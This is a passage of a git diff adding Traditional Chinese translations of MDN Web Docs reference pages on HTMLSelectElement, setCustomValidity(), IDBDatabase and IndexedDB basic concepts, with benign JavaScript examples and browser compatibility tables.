+ <dt>{{domxref("HTMLSelectElement.remove()")}}</dt>
+ <dd>Removes the element at the specified index from the options collection for this select element.</dd>
+ <dt>{{domxref("HTMLSelectElement.setCustomValidity()")}}</dt>
+ <dd>Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does <em>not</em> have a custom validity error.</dd>
+</dl>
+
+<h2 id="範例">範例</h2>
+
+<h3 id="Get_information_about_the_selected_option">Get information about the selected option</h3>
+
+<pre class="brush: js">/* assuming we have the following HTML
+&lt;select id='s'&gt;
+    &lt;option&gt;First&lt;/option&gt;
+    &lt;option selected&gt;Second&lt;/option&gt;
+    &lt;option&gt;Third&lt;/option&gt;
+&lt;/select&gt;
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+</pre>
+
+<p>A better way to track changes to the user's selection is to watch for the {{event("change")}} event to occur on the <code>&lt;select&gt;</code>. This will tell you when the value changes, and you can then update anything you need to. See <a href="/en-US/docs/Web/Events/change#Example_Change_event_on_a_select">the example provided</a> in the documentation for the <code>change</code> event for details.</p>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the <code>autocomplete</code> property and the <code>reportValidity()</code> method.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Is a snapshot of {{SpecName("HTML WHATWG")}}.<br>
+    It adds the <code>autofocus</code>, <code>form</code>, <code>required</code>, <code>labels</code>, <code>selectedOptions</code>, <code>willValidate</code>, <code>validity</code> and <code>validationMessage</code> properties.<br>
+    The <code>tabindex</code> property and the <code>blur()</code> and <code>focus()</code> methods have been moved to {{domxref("HTMLElement")}}.<br>
+    The methods <code>item()</code>, <code>namedItem()</code>, <code>checkValidity()</code> and <code>setCustomValidity()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM2 HTML')}}</td>
+   <td><code>options</code> now returns an {{domxref("HTMLOptionsCollection")}}.<br>
+    <code>length</code> now returns an <code>unsigned long</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}</td>
+   <td>{{Spec2('DOM1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1.0)}} <sup>[2]</sup></td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[3]</sup></td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>8<sup>[3]</sup></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(2.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(26)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop(56)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td><code>item()</code> and <code>namedItem()</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>setCustomValidity()</code>, <code>checkValidity()</code>, <code>willValidate</code>, <code>validationMessage</code>, <code>validity</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(2.0)}}</td>
+   <td>1.0</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>selectedOptions</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(26)}}</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>labels</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoMobile(56)}}<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Implemented in {{bug("556743")}}.</p>
+
+<p>[2] Historically, Firefox has allowed keyboard and mouse events to bubble up from the <code>&lt;option&gt;</code> element to the parent {{HTMLElement("select")}} element. This doesn't happen in Chrome, however, although this behavior is inconsistent across many browsers. For better Web compatibility (and for technical reasons), when Firefox is in multi-process mode and the <code>&lt;select&gt;</code> element is displayed as a drop-down list. The behavior is unchanged if the <code>&lt;select&gt;</code> is presented inline and it has either the <code>multiple</code> attribute defined or a <code>size</code> attribute set to more than 1. Rather than watching <code>&lt;option&gt;</code> elements for events, you should watch for {event("change")}} events on {{HTMLElement("select")}}. See {{bug(1090602)}} for details.</p>
+
+<p>[3] namedItem does not appear to take the <code>name</code> attribute into account (only the <code>id</code> attribute) on Internet Explorer and Edge. There is a <a href="https://connect.microsoft.com/IE/feedbackdetail/view/2414092/">bug report</a> to Microsoft about this.</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>The {{HTMLElement("select")}} HTML element, which implements this interface.</li>
+</ul>
diff --git a/files/zh-tw/web/api/htmlselectelement/setcustomvalidity/index.html b/files/zh-tw/web/api/htmlselectelement/setcustomvalidity/index.html
new file mode 100644
index 0000000000..54e47edf3c
--- /dev/null
+++ b/files/zh-tw/web/api/htmlselectelement/setcustomvalidity/index.html
@@ -0,0 +1,50 @@
+---
+title: HTMLSelectElement.setCustomValidity()
+slug: Web/API/HTMLSelectElement/setCustomValidity
+translation_of: Web/API/HTMLSelectElement/setCustomValidity
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><code><strong>HTMLSelectElement.setCustomValidity()</strong></code> 方法可為指定的元素設定自定義檢核訊息。使用空字串表示元素<em>沒有</em>發生違反自定檢核條件的錯誤。</p>
+
+<h2 id="語法">語法</h2>
+
+<pre class="eval  language-html"><code class="language-html"><em>selectElt</em>.setCustomValidity(<em>string</em>);</code></pre>
+
+<h3 id="參數">參數</h3>
+
+<ul>
+ <li><em>string</em> 為 {{domxref("DOMString")}}，代表錯誤訊息。</li>
+</ul>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">意見</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial definition, snapshot of {{SpecName('HTML WHATWG')}}</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<p>{{Compat("api.HTMLSelectElement.setCustomValidity")}}</p>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li><a href="/zh-TW/docs/Web/Guide/HTML/HTML5/Constraint_validation">表單驗證</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/idbdatabase/index.html b/files/zh-tw/web/api/idbdatabase/index.html
new file mode 100644
index 0000000000..843eac92f5
--- /dev/null
+++ b/files/zh-tw/web/api/idbdatabase/index.html
@@ -0,0 +1,219 @@
+---
+title: IDBDatabase
+slug: Web/API/IDBDatabase
+translation_of: Web/API/IDBDatabase
+---
+<p>{{APIRef("IndexedDB")}}</p>
+
+<div>
+<p>The <strong><code>IDBDatabase</code></strong> interface of the IndexedDB API provides a <a href="/en-US/docs/IndexedDB#database_connection">connection to a database</a>; you can use an <code>IDBDatabase</code> object to open a <a href="/en-US/docs/IndexedDB#gloss_transaction">transaction</a> on your database then create, manipulate, and delete objects (data) in that database. The interface provides the only way to get and manage versions of the database.</p>
+
+<p>{{AvailableInWorkers}}</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Everything you do in IndexedDB always happens in the context of a <a href="/en-US/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#gloss_transaction">transaction</a>, representing interactions with data in the database. All objects in IndexedDB — including object stores, indexes, and cursors — are tied to a particular transaction. Thus, you cannot execute commands, access data, or open anything outside of a transaction.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Note that as of Firefox 40, IndexedDB transactions have relaxed durability guarantees to increase performance (see {{Bug("1112702")}}.) Previously in a <code>readwrite</code> transaction {{domxref("IDBTransaction.oncomplete")}} was fired only when all data was guaranteed to have been flushed to disk. In Firefox 40+ the <code>complete</code> event is fired after the OS has been told to write the data but potentially before that data has actually been flushed to disk. The <code>complete</code> event may thus be delivered quicker than before, however, there exists a small chance that the entire transaction will be lost if the OS crashes or there is a loss of system power before the data is flushed to disk. Since such catastrophic events are rare most consumers should not need to concern themselves further. If you must ensure durability for some reason (e.g. you're storing critical data that cannot be recomputed later) you can force a transaction to flush to disk before delivering the <code>complete</code> event by creating a transaction using the experimental (non-standard) <code>readwriteflush</code> mode (see {{domxref("IDBDatabase.transaction")}}.</p>
+</div>
+
+<h2 id="Methods">Methods</h2>
+
+<p>Inherits from: <a href="/en-US/docs/DOM/EventTarget">EventTarget</a></p>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.close()")}}</dt>
+ <dd>Returns immediately and closes the connection to a database in a separate thread.</dd>
+ <dt>{{domxref("IDBDatabase.createObjectStore()")}}</dt>
+ <dd>Creates and returns a new object store or index.</dd>
+ <dt>{{domxref("IDBDatabase.deleteObjectStore()")}}</dt>
+ <dd>Destroys the object store with the given name in the connected database, along with any indexes that reference it.</dd>
+ <dt>{{domxref("IDBDatabase.transaction()")}}</dt>
+ <dd>Immediately returns a transaction object ({{domxref("IDBTransaction")}}) containing the {{domxref("IDBTransaction.objectStore")}} method, which you can use to access your object store. Runs in a separate thread.</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.name")}} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("DOMString") }} that contains the name of the connected database.</dd>
+ <dt>{{domxref("IDBDatabase.version")}} {{readonlyInline}}</dt>
+ <dd>A <a href="/en-US/docs/NSPR_API_Reference/Long_Long_(64-bit)_Integers">64-bit integer</a> that contains the version of the connected database. When a database is first created, this attribute is an empty string.</dd>
+ <dt>{{domxref("IDBDatabase.objectStoreNames")}} {{readonlyInline}}</dt>
+ <dd>A {{ domxref("DOMStringList") }} that contains a list of the names of the <a href="/en-US/docs/IndexedDB#gloss_object_store">object stores</a> currently in the connected database.</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<dl>
+ <dt>{{domxref("IDBDatabase.onabort")}}</dt>
+ <dd>Fires when access of the database is aborted.</dd>
+ <dt>{{domxref("IDBDatabase.onerror")}}</dt>
+ <dd>Fires when access to the database fails.</dd>
+ <dt>{{domxref("IDBDatabase.onversionchange")}}</dt>
+ <dd>
+ <p>Fires when a database structure change ({{domxref("IDBOpenDBRequest.onupgradeneeded")}} event or<code> </code>{{domxref("IDBFactory.deleteDatabase")}} was requested elsewhere (most probably in another window/tab on the same computer). This is different from the version change transaction (see {{domxref("IDBVersionChangeEvent")}}), but it is related.</p>
+ </dd>
+</dl>
+
+<h2 id="example" name="example">範例</h2>
+
+<p>In the following code snippet, we open a database asynchronously ({{domxref("IDBFactory")}}), handle success and error cases, and create a new object store in the case that an upgrade is needed ({{ domxref("IDBdatabase") }}). For a complete working example, see our <a href="https://github.com/mdn/to-do-notifications/">To-do Notifications</a> app (<a href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</p>
+
+<pre class="brush: js;highlight:[13,24,26,27,28,32]">// Let us open our database
+  var DBOpenRequest = window.indexedDB.open("toDoList", 4);
+
+  // these two event handlers act on the IDBDatabase object, when the database is opened successfully, or not
+  DBOpenRequest.onerror = function(event) {
+    note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+  };
+
+  DBOpenRequest.onsuccess = function(event) {
+    note.innerHTML += '&lt;li&gt;Database initialised.&lt;/li&gt;';
+
+    // store the result of opening the database in the db variable. This is used a lot later on
+    db = DBOpenRequest.result;
+
+    // Run the displayData() function to populate the task list with all the to-do list data already in the IDB
+    displayData();
+  };
+
+  // This event handles the event whereby a new version of the database needs to be created
+  // Either one has not been created before, or a new version number has been submitted via the
+  // window.indexedDB.open line above
+
+  DBOpenRequest.onupgradeneeded = function(event) {
+    var db = event.target.result;
+
+    db.onerror = function(event) {
+      note.innerHTML += '&lt;li&gt;Error loading database.&lt;/li&gt;';
+    };
+
+    // Create an objectStore for this database using IDBDatabase.createObjectStore
+
+    var objectStore = db.createObjectStore("toDoList", { keyPath: "taskTitle" });
+
+    // define what data items the objectStore will contain
+
+    objectStore.createIndex("hours", "hours", { unique: false });
+    objectStore.createIndex("minutes", "minutes", { unique: false });
+    objectStore.createIndex("day", "day", { unique: false });
+    objectStore.createIndex("month", "month", { unique: false });
+    objectStore.createIndex("year", "year", { unique: false });
+
+    objectStore.createIndex("notified", "notified", { unique: false });
+
+    note.innerHTML += '&lt;li&gt;Object store created.&lt;/li&gt;';
+  };</pre>
+
+<p>This next line opens up a transaction on the Database, then opens an object store that we can then manipulate the data inside of.</p>
+
+<pre class="brush: js">    var objectStore = db.transaction('toDoList').objectStore('toDoList'); </pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('IndexedDB', '#idl-def-IDBDatabase', 'IDBDatabase')}}</td>
+   <td>{{Spec2('IndexedDB')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>23{{property_prefix("webkit")}}<br>
+    24</td>
+   <td>10 {{property_prefix("moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10, partial</td>
+   <td>15</td>
+   <td>7.1</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>{{CompatGeckoMobile("22.0")}}</td>
+   <td>1.0.1</td>
+   <td>10</td>
+   <td>22</td>
+   <td>8</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile("37.0")}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div class="warning">
+<p><strong>Important</strong>: Be careful in Chrome as it still implements the old specification along with the new one. Similarly it still has the prefixed <code>webkitIndexedDB</code> property even if the unprefixed <code>indexedDB</code> is present.</p>
+</div>
+
+<h2 id="閱讀更多">閱讀更多</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/IndexedDB_API/Using_IndexedDB">Using IndexedDB</a></li>
+ <li>Starting transactions: {{domxref("IDBDatabase")}}</li>
+ <li>Using transactions: {{domxref("IDBTransaction")}}</li>
+ <li>Setting a range of keys: {{domxref("IDBKeyRange")}}</li>
+ <li>Retrieving and making changes to your data: {{domxref("IDBObjectStore")}}</li>
+ <li>Using cursors: {{domxref("IDBCursor")}}</li>
+ <li>Reference example: <a class="external" href="https://github.com/mdn/to-do-notifications/tree/gh-pages">To-do Notifications</a> (<a class="external" href="http://mdn.github.io/to-do-notifications/">view example live</a>.)</li>
+</ul>
+
+<p> </p>
diff --git a/files/zh-tw/web/api/index.html b/files/zh-tw/web/api/index.html
new file mode 100644
index 0000000000..982a2aa3c0
--- /dev/null
+++ b/files/zh-tw/web/api/index.html
@@ -0,0 +1,15 @@
+---
+title: Web APIs
+slug: Web/API
+tags:
+  - API
+  - DOM
+  - JavaScript
+  - Reference
+translation_of: Web/API
+---
+<p>當你使用 JavaScript 為網站寫程式碼時，有很多很棒的 API 可以使用。</p>
+
+<p>以下清單列出所有能夠用在你開發網路程式或網站時的介面（即是物件的類型）。</p>
+
+<div>{{APIListAlpha}}</div>
diff --git a/files/zh-tw/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html b/files/zh-tw/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
new file mode 100644
index 0000000000..a57486e7b2
--- /dev/null
+++ b/files/zh-tw/web/api/indexeddb_api/basic_concepts_behind_indexeddb/index.html
@@ -0,0 +1,209 @@
+---
+title: IndexedDB基礎概念
+slug: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+translation_of: Web/API/IndexedDB_API/Basic_Concepts_Behind_IndexedDB
+---
+<p><strong>IndexedDB </strong>用來儲存資料到使用者的瀏覽器，所以我們的網頁應用程式不論在線上或線下都可以運作。IndexedDB 對需要儲存大量資料上 (如儲存 DVD 出租型錄) 的應用和不用一直存取網路的應用 (如郵件客戶端瀏覽、代辦事項、記事本等) 來說十分好用。</p>
+
+<h2 id="關於本文">關於本文</h2>
+
+<p>本文介紹 IndexedDB 重要概念和專有名詞，旨在提供 IndexedDB 全貌和關鍵概念，如要了解更多 IndexedDB 專有名詞，請參照<a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB/Basic_Concepts_Behind_IndexedDB#definitions">定義</a>部分。</p>
+
+<p>想了解如何使用相關 API，請參照<a href="https://developer.mozilla.org/en-US/docs/IndexedDB/Using_IndexedDB">使用 IndexedDB</a>；相關參考資料請參照 <a href="https://developer.mozilla.org/zh-TW/docs/IndexedDB">IndexedDB</a> 一文，該文介紹了 IndexedDB 使用物件型態以及同步和非同步 API 。</p>
+
+<h2 id="IndexedDB_概要">IndexedDB 概要</h2>
+
+<p>IndexedDB 讓我們透過資料鍵 (key) 儲存、取回物件。所有對資料庫的變更都發生在交易操作；如同大部分網頁儲存方案，IndexedDB 遵守<a href="https://developer.mozilla.org/zh-TW/docs/JavaScript/Same_origin_policy_for_JavaScript">同源政策</a>，也就是說我們只能存取同網域下的資料。</p>
+
+<p>API 有分<a href="/en/IndexedDB#Asynchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Asynchronous_API">非同步</a>和<a href="/en/IndexedDB#Synchronous_API" title="https://developer.mozilla.org/en/IndexedDB#Synchronous_API">同步</a>，非同步 API 適用於大部分情況，包括 <a href="https://developer.mozilla.org/zh-TW/docs/Web/Guide/Performance/Using_web_workers">Web Worker</a>，而同步 API 應該只用在 Web Worker 內。目前主流瀏覽器尚不支援同步 API，不過即使同步 API 存在，大部分的情況還是以非同步 API 使用為主。</p>
+
+<p>W3C 在 2011/11/18 宣布 WebSQL 已棄用，請用 IndexedDB 作為替代方案。IndexedDB 和 WebSQL 雖然都是儲存方案，但功能並不相同，IndexedDB 是索引資料表資料庫，而 WebSQL 是關聯式資料庫系統。</p>
+
+<h2 id="concepts" name="concepts">概念總覽</h2>
+
+<p>請將你在其他類型資料庫上的預期從 IndexedDB 上拋開，然後謹記以下重要概念:</p>
+
+<ul>
+ <li>
+  <p><strong>IndexedDB 資料庫儲存資料鍵對資料值的成對資料 (key-value pairs) 。</strong>資料值可以是複雜的結構化物件，資料鍵可以是這些物件的屬性，然後我們可以依物件屬性建立索引，進行資料搜尋以及排序。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 建基於交易性質資料庫模型 (transactional database model) 。</strong>任何在 IndexedDB 上進行的操作都是屬於<a href="#gloss_transaction">交易 (transaction</a>)，IndexedDB API 提供了索引、資料表等等許多物件，然而這些物件都鎖定到某一個特定交易，所以我們不行在交易範疇外執行指令等操作。</p>
+
+  <p>交易具有生命週期，所以交易結束後又操作交易會引起例外錯誤，而且交易是自動執行生效的，無法手動執行生效。</p>
+
+  <p>想想看如果一個使用者在兩個頁面開啟同一個網路應用程式時，若是沒有交易機制，這兩個頁面對資料庫的存取操作將會產生衝突，因此交易機制是一個相當有用的機制。如果不清楚何謂交易，請參照底下<a href="#gloss_transaction">交易定義</a>部分和<a href="https://en.wikipedia.org/wiki/Database_transaction">維基百科交易相關文章</a>。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 大部分 API 都是非同步類別。</strong>IndexedDB API 不會回傳資料，相反地，我們需要傳入回呼函數 (Callback function) 。我們並非直接、同步地儲存和取得資料，我們是請求資料庫作業，當作業結束時 DOM 事件再通知我們作業結束，然後我們再透過事件類別判斷作業成功或失敗；或許以上作法一開始聽起來有點複雜，不過之所以會如此做是有其背後道理的，而且這種作法和 <a href="https://developer.mozilla.org/zh-TW/docs/DOM/XMLHttpRequest">XMLHttpRequest</a> 相去不遠。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 透過 DOM 事件通知作業結果。</strong>DOM 事件具有一個 typ e屬性 (在 IndexedDB 中，這個屬性幾乎不是 ”success” 就是 ”error” )，DOM 事件還有一個 target 屬性告訴我們事件進行目標，絕大多數情況下，事件的 target 皆為操作資料庫結果產生的 IDBRequest 物件。成功事件不會往上傳播而且無法取消，失敗事件會往上傳播但可取消，請謹記這點，因為正在進行的交易會因為失敗事件而中止，除非取消失敗事件。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 隨處都在使用請求 (Request) 。</strong>接收前述成功或失敗 DOM 事件的物件就是請求，請求有 onsuccess 和 onerror 屬性以及 addEventListener 和 removeEventListener 方法，他們還有 readyState, result 與 errorCode 屬性告訴我們請求狀態，尤其 result 屬性相當奇妙，它可以代表各式不同意義，就看我們是如何建立請求，比如說，一個 IDBCursor 物件或剛存入資料庫的資料的資料鍵。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 乃是物件導向的。</strong>IndexedDB 非關聯式資料庫，沒有資料表，這一點深深影響著應用程式如何設計。</p>
+
+  <p>傳統關聯式資料庫中存著由資料列和屬性欄所構成的資料表，另一方面，IndexedDB 存的是某一個資料型態的物件存檔 (Object store)，IndexedDB 就只是保存存檔的 Javascript 物件；每一個物件存檔能具備一連串索引用以搜尋和排列資料，如果沒有聽過物件導向資料管理系統庫，可以去<a href="https://en.wikipedia.org/wiki/Object_database">維基百科物件資料庫</a>看看。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 沒有結構化查詢語言 (Structured Query Language, SQL) 。</strong>IndexedDB 查詢索引以取得指標 (Cursor)，然後我們再用指標一一存取查詢結果，如果沒有聽過 NoSQL 系統，請去<a href="https://en.wikipedia.org/wiki/NoSQL">維基百科 NoSQL</a> 看看。</p>
+ </li>
+ <li>
+  <p><strong>IndexedDB 遵守同源政策 (Same-origin policy) 。</strong>URL 的網域、應用層協定和埠號構成來源，每一個來源皆有其獨特關聯的資料庫，每一個資料庫都有名稱辨識其所在來源。</p>
+
+  <p><a href="https://developer.mozilla.org/zh-TW/docs/JavaScript/Same_origin_policy_for_JavaScript">同源政策</a>限制了 IndexedDB 存取其他來源下的資料，例如來自 http://www.example.com/app/ 的應用能夠存取 http://www.example.com/dir/ 下的資料，因為他們其實來自同一個來源，但無法存取 http://www.example.com:8080/dir/ (埠號不同) 或 https://www.example.com/dir/ (協定不同) 的資料，因為來源不同。</p>
+ </li>
+</ul>
+
+<h2 id="definitions" name="definitions">定義</h2>
+
+<p>以下是 IndexedDB API 專有名詞定義與解說。</p>
+
+<h3 id="database" name="database">Database</h3>
+
+<dl>
+ <dt><a name="gloss_database">資料庫</a></dt>
+ <dd>資訊集中存放之處，由一或數個<a href="#gloss_object_store" title="#gloss_object_store">物件存檔 (Object store)</a> 組成，每一個資料庫必須具有:
+ <ul>
+  <li>名稱。用以辨識資料庫所屬來源，在生命週期間固定不變，可以任意字串 (甚至空白字串) 。</li>
+  <li>
+   <p>目前<a href="#gloss_version">版本</a>。當資料庫創建後，如未指定，它的版本是整數1。每一個資料庫同一時間只能有一個版本。</p>
+  </li>
+ </ul>
+ </dd>
+ <dt><a name="gloss_object_store">物件存檔 (object store</a>)</dt>
+ <dd>
+ <p>資料存放於資料庫的機制；物件存檔持有紀錄，也就是資料鍵和資料值的成對紀錄。記錄在物件存檔中依<em><a href="#gloss_key">資料鍵 (keys)</a></em>大小由小到大排列。</p>
+
+ <p>每一個物件存檔都具備獨特名稱，物件存檔能夠選擇性地持有 <em><a href="#gloss_keygenerator">key generator</a> </em>和 <em><a href="#gloss_keypath">key path</a></em>；若有 key path 便會採用 <em><a href="#gloss_inline_key">in-line keys</a></em>，否則便採用 <em><a href="#gloss_outofline_key">out-of-line keys</a></em>。</p>
+
+ <p>更多物件存檔細節，請參照 <a href="../../../../en/IndexedDB/IDBObjectStore" rel="internal">IDBObjectStore</a> 或 <a href="../../../../en/IndexedDB/IDBObjectStoreSync" rel="internal">IDBObjectStoreSync</a>。</p>
+ </dd>
+ <dt><a name="gloss_version">版本 (version</a>)</dt>
+ <dd>當資料庫創建後，如未指定，它的版本是整數 1；每一個資料庫同一時間只能有一個版本，唯一變更版本的方法是開啟比目前更大的版本，變更版本將啟動 versionchange 交易並且觸發 upgradeneeded 事件，upgradeneeded 事件處理器也是唯一可以變更資料庫結構之處。</dd>
